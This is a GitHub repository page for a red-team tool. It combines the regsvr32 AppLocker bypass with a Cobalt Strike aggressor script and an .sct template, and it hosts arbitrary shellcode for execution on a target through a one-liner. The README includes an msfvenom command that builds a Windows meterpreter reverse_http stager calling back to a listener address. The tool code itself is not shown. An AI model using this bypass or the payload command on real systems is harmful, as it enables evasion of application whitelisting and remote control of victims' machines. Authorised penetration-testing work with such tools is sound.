Skip to content

atropineal/regsvr32

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 

Repository files navigation

regsvr32

regsvr32 applocker bypass - arbitrary shellcode payload delivery via cobalt strike.

see the companion blog post at http://atropineal.com/2017/05/20/playing-with-the-regsrv32-applocker-bypass/

files:

  • regsvr32.cna: a cobalt strike aggressor script. give it some shellcode and it'll host the file and supply you with a one-liner to execute on-target. in this script you'll need to change the path to regsvr32.sct
  • regsvr32.sct: a template that the aggressor script stuffs the shellcode into before hosting it for download via the one-liner

example shellcode to use (point it at metasploit, armitage or cobalt strike listeners):

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=192.168.56.101 LPORT=80 EXITFUNC=thread -f raw > stager.bin

credits:

  • yuri popov: for the dynamic wrapper x dll
  • casey smith aka subtee: for the jscript that uses dynamic wrapper x dll, and a means to use it without registration

major reference sources:

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published